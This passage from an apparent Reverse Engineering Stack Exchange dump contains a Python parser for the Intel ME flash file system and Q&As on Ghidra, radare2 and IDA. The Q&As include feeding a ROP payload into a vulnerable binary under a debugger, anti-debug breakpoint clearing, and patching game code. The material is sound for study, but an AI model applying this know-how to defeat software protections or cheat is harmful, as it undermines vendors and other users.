page\n                  numbers aren't guaranteed to be sequentially\n    okey       -- key for indexing the block_indirection table of the\n                  MEFileSystemDataHeader holding this file's content, to \n                  find the right 0x100 byte block from which to start the\n                  file search according to the 'fno' field.\n    fno        -- file number within the block-offset determined from okey. \n                  This is to be looked up using the metadata *within* the \n                  file data of the data pages.  See \n                  MEFileSystemFileMetadataStateMachine above\n    \"\"\"\n    def __init__(self, state, flags, identifier, type, filelen, pgid, okey, fno):\n        self.state = state\n        self.flags = flags\n        self.identifier = identifier\n        self.type = type\n        self.filelen = filelen\n        self.pgid = pgid\n        self.okey = okey\n        self.fno = fno\n\n    def debug_print(self, log = sys.stdout):\n        log.write(\"%15s len=0x%04x [pg=0x%02x k=0x%02x f=0x%02x] ty=0x%02x st=0x%02x, fg=0x%02x\" % (str(self.identifier), self.filelen, self.pgid, self.okey, self.fno, self.type, self.state, self.flags))\n\nclass MEFileSystemATHeader:\n    \"\"\"\n    Allocation Table Header:\n           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     00 | pgno|      flags      | 0x00| 0x00| 0x00| 0x00|\"MFS\\0\"                |bitfields?             | \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     10 | bitfields?            |\n        +-----+-----+-----+-----+\n\n    pgno       -- page identifier within the MFS.  All MFS page headers \n                  have this field, be they AT or Data.\n    flags      -- have seen 0x78 0xfe 0xff for AT header. Data pages have\n                  had this or 0x78 0xfc 0xff.\n    (zeros)    -- a useless value for flash...must be part of the signature\n                  of the header?  Or reserved region for later version of\n                  the format.\n    \"MFS\\0\"    -- ASCIIZ signature for the MFS AT Header\n    bitfields  -- 64 bits of apparent bitfields\n    \"\"\"\n\n    max_files = int((0x4000 - 0x14) / 11) #page size, less the header, divided by file entry size\n\n    def __init__(self, page_no, flags, bytes_00000000, sig, bitfields): \n        self.page_no = page_no\n        self.flags = flags\n        self.zeros_good = bytes_00000000 == b'\\x00\\x00\\x00\\x00'\n        self.sig_good = sig == b'MFS\\x00'\n        self.bitfields = bitfields\n\n    def debug_print(self, log = sys.stdout):\n        log.write(\"Debug Print of MEFileSystemATHeader %x:\\n\" % id(self))\n        log.write(\"  page no: 0x%x\\n\" % self.page_no)\n        log.write(\"  flags: 0x%06x\\n\" % self.flags)\n        log.write(\"  zeros good: %s\\n\" % str(self.zeros_good))\n        log.write(\"  sig good: %s\\n\" % str(self.sig_good))\n        log.write(\"  bitfields: %s\\n\" % \" \".join(\"%02x\"%x for x in self.bitfields))\n\nclass MEFileSystemAT:\n    \"\"\"\n    Allocation Table (a 0x4000-byte page in the MFS):\n           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     00 | Allocation Table Header...                                                                    |             \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     10 |...                    | File Entry                                                      |FE...|\n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n     ...|...                                                                                            |             \n        +-----------------------------------------------------------------------------------+-----+-----+\n    3fe0|...                                                                                |File Ent...|            \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n    3ff0|...                                                  |Padding                                  |             \n        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+\n    \"\"\"\n\n    def __init__(self, header, entry_list):\n        self.header = header\n        self.entry_list = entry_list\n\n    def debug_print(self, log = sys.stdout):\n        log.write(\"Debug Print of MEFileSystemAT %x:\\n\" % id(self))\n        self.header.debug_print(log)\n\n        log.write(\"File entries:\\n\")\n        for ent in self.entry_list:\n            if(ent):\n                log.write(\"  \")\n                ent.debug_print(log)\n                log.write(\"\\n\")\n\nclass MEFileSystem:\n    \"\"\"\n    MFS Partition: (Making the assumption the AT is the first page)\n         +------------------------------------+\n    0000 | Allocation Table                   |\n         +------------------------------------+\n    4000 | Data Page                          |\n         +------------------------------------+\n    8000 | Data Page                          |\n         +------------------------------------+\n    c000 | Data Page                          |\n         +------------------------------------+\n    ...  |...                                 |\n         +------------------------------------+\n    \"\"\"\n\n    def __init__(self, allocation_table, data_page_list):\n        self.allocation_table = allocation_table\n        self.data_page_list = data_page_list\n\n    def debug_print(self, log = sys.stdout):\n        log.write(\"Debug Print of MEFileSystem %x:\\n\" % id(self))\n        self.allocation_table.debug_print(log)\n\n        for page in self.data_page_list:\n            if(page):\n                page.debug_print(log)\n            else:\n                log.write(\"(Not parsed)\\n\")\n\ndef parse_me_fs_at_entry(me_file, log_file = sys.stdout):\n    return MEFileSystemATEntry(\n        state = read_leuint8(me_file),\n        flags = read_leuint8(me_file),\n        identifier = me_file.read(3),\n        type = read_leuint8(me_file),\n        filelen = read_leuint16(me_file),\n        pgid = read_leuint8(me_file),\n        okey = read_leuint8(me_file),\n        fno = read_leuint8(me_file))\n\ndef parse_me_fs_at_header(me_file, log_file = sys.stdout):\n    return MEFileSystemATHeader(\n        page_no = read_leuint8(me_file),\n        flags = read_leuint24(me_file),\n        bytes_00000000 = me_file.read(4),\n        sig = me_file.read(4),\n        bitfields = me_file.read(8))\n\ndef parse_me_fs_at(me_file, log_file = sys.stdout):\n    hdr = parse_me_fs_at_header(me_file, log_file)\n\n    entry_list = [None] * MEFileSystemATHeader.max_files\n    for i in range(MEFileSystemATHeader.max_files):\n        ent = parse_me_fs_at_entry(me_file, log_file)\n        if ent.state == 0xff:\n            break\n        entry_list[i] = ent\n\n    return MEFileSystemAT(hdr, entry_list)\n\n\ndef parse_me_fs_data_header(me_file, log_file = sys.stdout):\n    return MEFileSystemDataHeader(\n        page_no = read_leuint8(me_file),\n        flags = read_leuint24(me_file),\n        bytes_00000000 = me_file.read(4),\n        myst_bits = me_file.read(0x8),\n        freed_flags = me_file.read(0x80),\n        blk_itab = me_file.read(0x40))\n\ndef parse_me_fs(length, me_file, log_file = sys.stdout):\n    \"\"\"\n    ARGS:\n       length -- length in bytes of the ME partition holding the MFS/MFSB data\n       me_file -- a file handle whose present position is the start of the MFS(B) partition\n       log_file -- if there is diagnostic output, put it here\n\n    RETURNS:\n       an MEFileSystem instance populated with the allocation table and data-page headers\n    \"\"\"\n\n    total_pages = int(length/0x4000)\n    start_offset = me_file.tell()\n\n    #NOTE: I'm presuming the allocation table is the first page...\n    #that might not be reliable...\n    at = parse_me_fs_at(me_file, log_file)\n\n    data_pages = [None] * (total_pages-1)\n    for page in range(0, total_pages-1):\n        me_file.seek(start_offset + 0x4000 * (page+1))\n        data_pages[page] = parse_me_fs_data_header(me_file, log_file)\n\n    return MEFileSystem(\n        allocation_table=at, \n        data_page_list = data_pages)\n\n\ndef get_mfs_file(mefs, me_file, mfs_file_offset, id, log_file = sys.stdout):\n    \"\"\"\n    Example of how to use the MEFileSystem structures to retrieve\n    MFS and MFSB files.\n\n    ARGS:\n        mefs -- a MEFileSystem instance parsed from mfs_data\n        me_file -- a filehandle containing the ME image\n        mfs_file_offset -- the file offset within me_file where the MFS partition begins\n        id -- a 3-byte byte array with the file identifier\n        log -- if there is diagnostic output, put it here\n\n    RETURNS:\n        an array containing [state, The data from the corresponding file].\n        else None if the file identifier does not exist within the data.\n\n    Example driver, given the known offset and size for a MFS partition:\n        MFS_OFFSET = 0x64000 #typical location\n        MFS_LENGTH = 0x40000 #typical size\n        spi_image_file.seek(MFS_OFFSET)\n        mefs = parse_me_fs(MFS_LENGTH, spi_image_file)\n        result_tuple = get_mfs_file(mefs, spi_image_file, MFS_OFFSET, b'UKS')\n        if result_tuple:\n            print(\"State: %x, data: %s\\n\" % tuple(result_tuple))\n    \"\"\"\n\n    #Find the file identifer in the Allocation Table\n    best_ent = None\n    for ent in mefs.allocation_table.entry_list:\n        if ent and ent.identifier == id:\n            best_ent = ent\n\n            if ent.state == 0xdc:\n                break; # got a current entry\n\n            log.write(\"Error: found an item w/ state %02x...continuing\\n\" % ent.state)\n\n    #if found, lookup which data page matches the entry's pgid value\n    if best_ent:\n        page_found = False\n\n        for list_idx in range(len(mefs.data_page_list)):\n            page = mefs.data_page_list[list_idx]\n\n            if page.page_no == best_ent.pgid:\n                page_found = True\n\n                #we found the right data page, so start the file search\n\n                search_start = page.blk_itab[best_ent.okey] * 0x100\n\n                #In the following lines:\n                #  The value d0 is to skip over the datapage header if we're in the first block\n                #\n                #  The multiple of 0x4000 selects the data offset that goes with list_idx\n                #  since the parsed data-page list is in the same order as found in the file.\n                #\n                #  Because mefs.data_page_list doesn't include the allocation table page, we +1 \n                #  to the index before multiplying.  The result is a set of offsets into the MFS data\n                #  bounding the file search\n                ##\n                search_off = 0x4000 * (list_idx+1) + (0xd0 if search_start == 0 else search_start)\n\n                me_file.seek(mfs_file_offset + search_off)\n                data = read_me_fs_file(best_ent.fno, best_ent.filelen, me_file, log_file)\n                if data:\n                    return [best_ent.state, data]\n\n    return None\n\n\nif __name__ == \"__main__\":\n    with open(\"image.bin\", \"rb\") as spi_image_file:\n        MFS_OFFSET = 0x64000 #typical location\n        MFS_LENGTH = 0x40000 #typical size\n        spi_image_file.seek(MFS_OFFSET)\n        mefs = parse_me_fs(MFS_LENGTH, spi_image_file)\n\n        #Dump the allocation table\n        mefs.allocation_table.debug_print()\n        print(\"\")\n\n        first_file = mefs.allocation_table.entry_list[0].identifier\n        print(\"looking up the first file (%s):\" % first_file)\n        result_tuple = get_mfs_file(mefs, spi_image_file, MFS_OFFSET, first_file)\n        if result_tuple:\n            print(\"State: %x, data: %s\\n\" % tuple(result_tuple))\n</code></pre>\n\n<p>Oh, you can dump the file list with:\n<code>mefs.allocation_table.debug_print()</code></p>\n\n<p>E.g.,</p>\n\n<pre><code>           b'UKS' len=0x0004 [pg=0x01 k=0x00 f=0x00] ty=0x0a st=0xdc, fg=0xf0\n           b'LRT' len=0x01c0 [pg=0x01 k=0x00 f=0x01] ty=0x0e st=0xdc, fg=0xf0\n           b'MIA' len=0x0003 [pg=0x01 k=0x02 f=0x01] ty=0x0e st=0xdc, fg=0xf0\n           b'BLV' len=0x0004 [pg=0x01 k=0x02 f=0x02] ty=0x0a st=0xdc, fg=0xf0\n           b'SDV' len=0x00ff [pg=0x01 k=0x02 f=0x03] ty=0x0a st=0xdc, fg=0xf0\n           b'ICP' len=0x0042 [pg=0x01 k=0x03 f=0x01] ty=0x0e st=0xdc, fg=0xf0\n        b'\\x00NP' len=0x0001 [pg=0x01 k=0x04 f=0x01] ty=0x0e st=0xdc, fg=0xf0\n           b'PPN' len=0x0042 [pg=0x01 k=0x04 f=0x02] ty=0x0e st=0xdc, fg=0xf0\n           b'SCO' len=0x00af [pg=0x01 k=0x04 f=0x03] ty=0x0a st=0xdc, fg=0xf0\n           b'PCO' len=0x0a24 [pg=0x01 k=0x05 f=0x01] ty=0x0a st=0xdc, fg=0xf0\n           b'GFC' len=0x0004 [pg=0x01 k=0x07 f=0x01] ty=0x18 st=0xdc, fg=0xf0\n           b'YHP' len=0x06fe [pg=0x01 k=0x07 f=0x02] ty=0x0a st=0xdc, fg=0xf0\n           b'FCP' len=0x0002 [pg=0x01 k=0x09 f=0x01] ty=0x0b st=0xdc, fg=0xf0\n           b'PPR' len=0x0001 [pg=0x01 k=0x09 f=0x02] ty=0x0b st=0xdc, fg=0xf0\n           b'TCM' len=0x0005 [pg=0x01 k=0x09 f=0x03] ty=0x10 st=0xdc, fg=0xf0\n           b'BHM' len=0x0004 [pg=0x01 k=0x09 f=0x04] ty=0x10 st=0xdc, fg=0xf0\n           b'GCN' len=0x0018 [pg=0x01 k=0x09 f=0x05] ty=0x0e st=0xdc, fg=0xf0\n           b'CSM' len=0x000f [pg=0x01 k=0x0a f=0x00] ty=0x0e st=0xdc, fg=0xf0\n        b'\\x00HS' len=0x0127 [pg=0x01 k=0x0a f=0x01] ty=0x0e st=0xdc, fg=0xf0\n        b'\\x01HS' len=0x0127 [pg=0x01 k=0x0b f=0x01] ty=0x0e st=0xdc, fg=0xf0\n        b'\\x02HS' len=0x0127 [pg=0x01 k=0x0c f=0x01] ty=0x0e st=0xdc, fg=0xf0\n        b'\\x03HS' len=0x0127 [pg=0x01 k=0x0d f=0x01] ty=0x0e st=0xdc, fg=0xf0\n           b'PCF' len=0x0010 [pg=0x01 k=0x0e f=0x01] ty=0x0e st=0xdc, fg=0xf0\n...\n\n</code></pre>\n"
    },
    {
        "Id": "23330",
        "CreationDate": "2020-02-24T04:59:34.720",
        "Body": "<p>Using ghidra's python scripting engine, I'd like to create a struct which contains a big endian, unsigned integer. This field is always big endian, no matter what the endainess of the binary CPU is.</p>\n\n<p>My first attempt:</p>\n\n\n\n<pre><code>def uint32b():\n    dt = UnsignedIntegerDataType()\n    for s in dt.getSettingsDefinitions():\n        if isinstance(s, EndianSettingsDefinition):\n            s.setBigEndian(dt.getDefaultSettings(), False)\n    return dt\n</code></pre>\n\n<p>However, when the struct is applied to data, I'm still seeing a little-endian value. The field's \"Default Settings -> Endian\"  still set to \"Default\".</p>\n\n<p><a href=\"https://i.stack.imgur.com/Xu89M.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Xu89M.png\" alt=\"default settings\"></a></p>\n",
        "Title": "ghidra-python: create struct with big endian field",
        "Tags": "|python|ghidra|",
        "Answer": "<p>The following script shows hows to create a structure and set its field to Big Endian   byte order using the Ghidra Python API.</p>\n\n<pre><code>from ghidra.program.model.data import DataTypeConflictHandler\nfrom ghidra.program.model.data import EndianSettingsDefinition\nfrom ghidra.app.util.cparser.C import CParser\n\n\nmystruct_txt = \"\"\"\nstruct mystruct{\n    uint32_t field1; \n    uint32_t field2;\n};\"\"\"\n\n# Get Data Type Manager\ndata_type_manager = currentProgram.getDataTypeManager()\n\n# Create CParser\nparser = CParser(data_type_manager)\n\n# Parse structure\nparsed_datatype = parser.parse(mystruct_txt)\n\n# Add parsed type to data type manager\ndatatype = data_type_manager.addDataType(parsed_datatype, DataTypeConflictHandler.DEFAULT_HANDLER)\n\n# Extract the first structure member i.e. mystruct.field1\nfield1 = datatype.components[0]\n\n# Get Default Settings\nfield1_settings = field1.getDefaultSettings()\n\n# Set endianess to big\nfield1_settings.setLong('endian', EndianSettingsDefinition.BIG)\n</code></pre>\n\n<p>If you have already created the structure earlier (using the editor or otherwise) you can omit the part where the structure is created and use <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/database/data/DataTypeManagerDB.html#getDataType(java.lang.String)\" rel=\"noreferrer\"><code>getDataType</code></a> to obtain it from the <code>DataTypeManagerDB</code> as shown below.</p>\n\n<pre><code>datatype = data_type_manager.getDataType(\"/mystruct\")\nfield1 = datatype.components[0]\nfield1_settings = field1.getDefaultSettings()\nfield1_settings.setLong('endian', EndianSettingsDefinition.BIG)\n</code></pre>\n\n<p>After applying the structure to a piece data, you can right click  on the field -> Data -> Default Settings and check that the default endianness is indeed Big Endian.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tAIhg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/tAIhg.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "23332",
        "CreationDate": "2020-02-24T15:27:30.397",
        "Body": "<p>As the title says, I am trying to change the default disassembly syntax in Radare2 from Intel to AT&amp;T. Looking up documentation, I found the following.</p>\n\n<pre><code>[0x00405e1c]&gt; e asm.syntax=att\n</code></pre>\n\n<p>However, changing syntax this way does not persist across sessions. Is there a command I can use to save settings permanently?</p>\n",
        "Title": "How do I permanently change the disassembly syntax in Radare2?",
        "Tags": "|radare2|",
        "Answer": "<p>From <code>Radare2</code> <a href=\"https://radare.gitbooks.io/radare2book/configuration/intro.html\" rel=\"noreferrer\">book</a>:</p>\n\n<blockquote>\n  <p>The core reads <code>~/.config/radare2/radare2rc</code> while starting. You can add\n  <code>e</code> commands to this file to tune the radare2 configuration to your\n  taste.</p>\n</blockquote>\n"
    },
    {
        "Id": "23341",
        "CreationDate": "2020-02-26T13:47:40.060",
        "Body": "<p>I am reversing an application using IDA. I have found a small subroutine that returns information at the end of that subroutine. However I would like to see the subroutine that uses this small subroutine I found and see how it uses the information returned by the small subroutine. </p>\n\n<p>I am new to this, is what Im trying to do a simple task, if so how can I do this? </p>\n\n<p>Thanks for the help !</p>\n",
        "Title": "How to find where a subroutine is being called (ida)",
        "Tags": "|ida|disassembly|decompilation|decompile|",
        "Answer": "<p>It called <code>x-refs</code>. Go to the beginning of your routine, and press <code>ctrl+x</code> from disassembly view, or just <code>x</code> from the decompile view.</p>\n"
    },
    {
        "Id": "23352",
        "CreationDate": "2020-02-27T22:23:38.777",
        "Body": "<p>While I was reversing a binary I noticed that IDA Pro had adjusted the pseudocode that initially was generated. This happened after I started reversing the binary and renamed functions and variables to more appropriate names. IDA Pro had then \"prettified\" or re-analyzed the pseudocode somehow. </p>\n\n<p>I am not sure what keys I pressed or options I clicked to achieve this, but it was extremely useful. </p>\n\n<p>How can I replicate this?</p>\n",
        "Title": "Re-analyzing pseudocode IDA Pro",
        "Tags": "|hexrays|",
        "Answer": "<p><em>Coming back to answer this question with the actual answer I was looking for now that I have some more experience and figured out what happened.</em></p>\n<p>When opening a binary in IDA Pro that has the Hex-Rays decompiler plugin you may open the pseudocode view using the hotkey <code>F5</code>, and also re-analyze the current function by pressing <code>F5</code> again as @Avery3R posted in his answer.</p>\n<p>However, if you work your way through the binary by double-clicking functions\nyou can go back to one of the functions you already have decompiled and re-analyze it. The pseudocode will then change to reflect the changes you have done (or simply the optimizations done by the Hex-Rays decompiler). Typical changes you will see are the number of function arguments that will be adjusted to be more correct.</p>\n<p>Usually what I do if I encounter pseudocode that seems incorrect in terms of function arguments, I will click around and &quot;peek&quot; into the different problematic functions before I go back to the initial function I started with and re-analyze it. The pseudocode will then look way better and be easier to work with.</p>\n<p>And if you would like to re-analyze the whole binary you coud always do that by going to <code>Options -&gt; General -&gt; Analysis -&gt; Reanalyze program</code>, and <code>Ctrl+F5</code> to decompile all functions.</p>\n"
    },
    {
        "Id": "23359",
        "CreationDate": "2020-02-29T04:02:44.657",
        "Body": "<p>I wrote a C program that constructs a ROP payload and sends it to <code>stdout</code>. Using Radare2's debug mode, how would I pipe this output to a binary I am trying to exploit that accepts input on <code>stdin</code>?</p>\n\n<p>For example, if my compiled C program is <code>exp</code> and the binary I am exploiting is <code>vuln</code>, I want to execute <code>./exp | ./vuln</code> in Radare2's debug mode so I can see how my payload corrupts memory.</p>\n\n<p>I saw <a href=\"https://reverseengineering.stackexchange.com/questions/16428/debugging-with-radare2-using-two-terminals\">this post</a> but, correct me if I am wrong, it doesn't seem to answer my question and just describes how to use a second terminal for input/output. </p>\n\n<p>Edit: I have found a workaround for the time being, but it is rather annoying to do repeatedly when I make changes. I first redirect the output to a new a file: <code>./exp &gt; exp.output</code> and then make a <code>rarun2</code> script as follows:</p>\n\n<pre><code>#!/usr/bin/rarun2\nstdin=./exp.output\n</code></pre>\n\n<p>And then I run things via <code>r2 -e dbg.profile=dbg.rr2 -d vuln</code>.</p>\n",
        "Title": "Radare2 Debugging: How do I pipe a program's output to another's input?",
        "Tags": "|radare2|",
        "Answer": "<p>This is a great question, and lucky you - radare2 provides several ways to achieve this. Let's go over the more basic and straightforward options.</p>\n\n<h2>Setting up</h2>\n\n<p>First things first, make sure to have the latest radare2 running. At the time of writing, this is v4.3.1. The radare community recommends building radare2 from the source. On Linux systems, it's as simple as cloning the <a href=\"https://github.com/radareorg/radare2\" rel=\"noreferrer\">repository</a> and executing the following commands:</p>\n\n<pre><code>$ cd radare2\n$ ./sys/install.sh\n</code></pre>\n\n<p><em>Note: By installing radare2 from package-repositories you may miss crucial features due to old versions.</em></p>\n\n<p>Now that this part is behind us, we can continue to the solutions.</p>\n\n<hr>\n\n<h2>Preparing test programs</h2>\n\n<p>For the following examples, I wrote two programs to demonstrate how the data I dynamically pass from one program to the other program is reflected in its output.</p>\n\n<p><strong>repeater</strong> is a program that receives user input and prints it to the console.<br>\n<strong>Source:</strong> repeater.c</p>\n\n\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main() {\n\n        char user_input[100];\n        fgets (user_input, 100, stdin);\n        printf (\"[+] Received from STDIN: %s\\n\", user_input);\n\n        return 0;\n}\n</code></pre>\n\n<p><strong>exp</strong> is a program that prints string to the console.<br>\n<strong>Source:</strong> exp.c\n</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main() {\n        // print string, hex values, and the current UNIX time\n        printf (\"Hello, \\x41\\x42\\xaf\\xd7, %u\", (unsigned)time(NULL));\n        return 0;\n}\n</code></pre>\n\n<p>To demonstrate the required behavior, we can use these programs like this:</p>\n\n<pre><code>$ ./exp | ./repeater \n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583565405\n\n$ ./exp | ./repeater \n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583565418\n</code></pre>\n\n<hr>\n\n<h2>Method 0: rarun2 profile</h2>\n\n<p>In radare2, when it gets to interact with a debuggee, rarun2 is your go-to tool.</p>\n\n<blockquote>\n  <p>This program is used as a launcher for running programs with different environments, arguments, permissions, directories and overridden default file descriptors.<br>\n  <strong>Source:</strong> <code>man rarun2</code></p>\n</blockquote>\n\n<p>While very complex and rich with features, we will focus on one of the basic features, interacting with STDIO.</p>\n\n<p>From your question, it is clear that you are familiar with the concept of rarun2 profiles. When I use rarun2 to pass the output of an exploit to the debuggee, I use a profile that looks somewhat like this:</p>\n\n<pre><code>$ cat profile.rr2 \n#!/usr/bin/rarun2\nstdin=!./exp\n</code></pre>\n\n<p>This rarun2 profile will execute the <code>./exp</code> program and set the output of the program to the stdin of the debuggee.</p>\n\n<p>Then, we can quickly execute the program in radare2 again and again without leaving the radare2 shell.</p>\n\n<p>First, create a rarun profile as shown above. Then, open the debuggee in radare2 and load this profile using the <code>-r</code> flag:</p>\n\n<p>Load the program in debug mode and use <code>dc</code> to execute it:</p>\n\n<pre><code>$ r2 -r profile.rr2 -d repeater \nProcess with PID 86588 started...\n= attach 86588 86588\n[0x7f89ba9b8100]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583567900\n</code></pre>\n\n<p>As you can see, you entered debug mode and the program was executed successfully with the output of the <code>exp</code> program. You can keep executing the program as many times as you want by using <code>doo (as well as</code>ood`) that will \"Reopen in debug mode with args\".</p>\n\n<pre><code>[0x7f316b76c100]&gt; doo\nProcess with PID 86657 started...\n= attach 86657 86657\n\n[0x7f2aecada100]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583568042\n\n[0x7f2aec99ace6]&gt; doo\nProcess with PID 86660 started...\n= attach 86660 86660\n\n[0x7ff100166100]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583568056\n\n\n[0x7f0efc9e4ce6]&gt; doo\nProcess with PID 86673 started...\n= attach 86673 86673\n\n[0x7f676d6b2100]&gt; # Define Breakpoint at main\n[0x7f676d6b2100]&gt; db main\n\n[0x7f676d6b2100]&gt; dc\nhit breakpoint at: 5652649de159\n\n[0x5652649de159]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583568059\n</code></pre>\n\n<hr>\n\n<h2>Method 1: rarun2 rule</h2>\n\n<p>Luckily, you can skip the creation of rarun2 file and just tell radare2 from where it should grab the stdin. This can be done easily by using the <code>-R</code> flag followed by rarun key and value.</p>\n\n<pre><code>$ r2 -R stdin=\\!./exp -d repeater\nProcess with PID 87508 started...\n= attach 87508 87508\n\n[0x7f87588c0100]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583568818\n\n</code></pre>\n\n<p>This is a one-time shot, and using <code>doo</code> again from within the radare2 session would not use the same stdin again. But, you can take advantage of the <code>dor</code> command and do some trick ;)</p>\n\n<pre><code>[0x7f8758780ce6]&gt; dor?\n| dor [rarun2]  Comma separated list of k=v rarun2 profile options (e dbg.profile)\n\n[0x7f8758780ce6]&gt; dor stdin=!./exp\n[0x7f8758780ce6]&gt; doo\nProcess with PID 87594 started...\n= attach 87594 87594\n\n[0x7f8758780ce6]&gt; dc\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583568991\n\n\n[0x7fdb45f3ece6]&gt; # And this of course can be done with a single line\n[0x7fdb45f3ece6]&gt; dor stdin=!./exp; doo; dc\nProcess with PID 87627 started...\n= attach 87627 87627\n[+] Received from STDIN: Hello, AB\ufffd\ufffd, 1583569028\n\n</code></pre>\n\n<hr>\n\n<h2>Method \u221e</h2>\n\n<p>There are other ways you can perform such set-up. Since it will be too long, I will quickly note them down. Here are some ideas:</p>\n\n<ol>\n<li><p>Use backticks: <code>r2 -R \"stdin=\\\"`python -c print(1234)`\\\"\" -d repeater</code> or even <code>r2 -R \"stdin=\\\"`python -c 'print(1234)'`\\\"\" -d repeater</code></p></li>\n<li><p>Use other terminal's tty to redirect STDIN. You can simply pass data to the tty by executing <code>./exp &gt; dev/pts/X</code> where x is the tty number.</p></li>\n<li><p>Use <code>popen</code> to write to the process, or redirect output to /proc//fd/0</p></li>\n<li><p>Use an external shell script to automate the tedious tasks you encountered</p></li>\n</ol>\n"
    },
    {
        "Id": "23364",
        "CreationDate": "2020-03-01T08:47:59.300",
        "Body": "<p>I am new to reverse engineering and I am trying to figure out exactly what xor is doing in this little program. I know if I put any number other than 0 I get a xor eax,3 so if I put in 1 I get 2 if I input 2 I get 1 if I input 7 I get 4 I am just trying to understand why.</p>\n\n<p><a href=\"https://i.stack.imgur.com/6FpHB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6FpHB.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "xor eax,3 why does the input change the way it does?",
        "Tags": "|assembly|debugging|x64dbg|xor|",
        "Answer": "<p>In <code>C</code>, this function would look like this:</p>\n\n<pre><code>int fun()\n{\n    int a;\n    // some code you haven't pasted here; probably scanf(\"%d\", &amp;a);...\n    if (some_condition)\n        a ^= 3; // xor a with 3\n    else\n        a ^= 2; // xor a with 2\n    printf(\"a = %d.\\n\", a);\n    return 0;\n}\n</code></pre>\n\n<p>I cannot say anything more about it having only the snipped you shared with us. If there is some magic, it is contained in the part you haven't uploaded.</p>\n"
    },
    {
        "Id": "23372",
        "CreationDate": "2020-03-02T09:12:07.420",
        "Body": "<p>An application I am debugging somehow manages to clear my hardware breakpoints. I am using TitanHide and x64dbg. </p>\n\n<p>I am observing the following behaviour:</p>\n\n<ul>\n<li>When placing the first hw breakpoint, it is hit only once - still appears visible in x64dbg but I guess it is disabled in reality and x64dbg doesn't know that.</li>\n<li>When placing another breakpoint, the <strong>first</strong> breakpoint is hit exactly once. </li>\n</ul>\n\n<p>I am not sure what causes this obscure behaviour, but what I do know is that my hardware breakpoints are not getting hit, so I researched what could possibly clear them. I have come up with:</p>\n\n<ul>\n<li>ZwSetInformationThread to hide the thread from the debugger.</li>\n<li>SetThreadContext to reset the debug registers .</li>\n<li>Installing a vectored exception handler, cause an exception deliberately, and modify the context from there</li>\n</ul>\n\n<p>However all 3 methods should be caught by TitanHide, and exceptions should show up in the log of x64dbg (which they don't). Are there any further methods to clear hardware breakpoints?</p>\n",
        "Title": "Anti-debug clearing hardware breakpoints",
        "Tags": "|windows|anti-debugging|breakpoint|",
        "Answer": "<p>This turned out to be a mixture of hardware breakpoint related bugs in x64dbg (which are fixed by now), and a driver denying access to <strong>some</strong> threads of the target application (meaning the hardware breakpoint could not be set on those). If you encounter this, I suggest updating and checking OpenThread permissions, as x64dbg fails silently here :/</p>\n"
    },
    {
        "Id": "23379",
        "CreationDate": "2020-03-03T17:01:05.897",
        "Body": "<p>Im trying to find where this subroutine is being called in IDA. I use xrefs to see where the subroutine is being called and I NOP the all the calls in all the subroutines in the xrefs. I do this for all the calls in the xrefs so nothing is calling this subroutine but the code in the subroutine is still being ran ingame and im so confused. is there some other place other than the xrefs where the subroutine is being called?\nthanks for the help</p>\n",
        "Title": "IDA subroutine code running when not being called",
        "Tags": "|ida|disassembly|decompilation|",
        "Answer": "<p>The xrefs provided by IDA cover only the common ways to call a function. As an developer you could generate the function address using complex mathematics and then call the function. Such calls can't be detected by IDA - that is the general limitation of static analysis. </p>\n\n<p>BTW: Why do you NOP the function calls instead of just \"NOPing\" the function itself ?</p>\n\n<p>You could modify the function in a way that it does nothing: the first command jumps to the end of the function or modify it so that it directly exits the function without doing anything. Therefore it would not matter if you manage to find all code positions where the function is called. </p>\n"
    },
    {
        "Id": "23392",
        "CreationDate": "2020-03-06T06:25:12.190",
        "Body": "<p>Similarly to <code>retrieve_input_file_md5</code>, I was looking for a way to dump a patched input file.</p>\n\n<p>Basically, I would like to do the following:</p>\n\n<ul>\n<li>patch the file in IDA</li>\n<li>dump the patched input file to another file</li>\n<li>try the resulting file in an emulator (it's a PSX BIOS)</li>\n</ul>\n\n<p>Is this possible from within IDA ?</p>\n",
        "Title": "Is it possible to dump input file?",
        "Tags": "|ida|",
        "Answer": "<p>You can modify the code in IDA. IDA saves internally the original as well as the patched content.</p>\n\n<p>Make your modifications using the sub menu commands of <strong>Edit -> Patch program</strong></p>\n\n<p>If your modifications are completed you can apply the modifications on an external file. To do so use menu <strong>Edit -> Patch program -> Apply patches to input file</strong>. \nIt allows you to select an external file and apply the changes you have made to it.</p>\n"
    },
    {
        "Id": "23401",
        "CreationDate": "2020-03-08T11:07:48.550",
        "Body": "<p>What is the way to get the program base address in <code>Ghidra</code>? </p>\n",
        "Title": "Ghidra python - get program base address",
        "Tags": "|elf|ghidra|",
